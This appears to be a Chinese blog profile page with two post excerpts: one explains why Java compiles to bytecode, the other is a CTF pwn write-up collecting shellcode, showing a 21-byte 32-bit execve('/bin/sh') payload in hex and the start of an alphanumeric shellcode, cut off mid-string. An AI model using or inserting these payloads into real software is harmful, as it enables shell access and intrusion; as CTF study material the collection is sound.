烂漫小兔子

文章
11
资源
0
加入时间
3年1月12天

java语言为什么要先编译为字节码?

书上说,Java靠中间语言(Java字节码)实现了跨平台。一直不是很理解,既然Java语言在不同平台编译出的字节码都一样,再由虚拟机将字节码翻译为机器码,那为什么还需要先编译为字节码呢?实现跨平台不都是虚拟机的功劳吗?其实答案很简单——虚拟机读不懂Java程序。因为Java是高级语言,其语法和表达习惯遵循人类的思维习惯,但这不符合机器的思维,即使是虚拟机也不行。所以编译为字节码是JVM运行...

pwn题shellcode收集shellcode --> execveshellcode --> cmp flag byte总结

Write Upshellcodeshellcode这里对pwn中使用到的shellcode做了一个汇总,方便大家参考和使用。# 32位 短字节shellcode --> 21字节\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80# 32位 纯ascii字符shellcodePYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2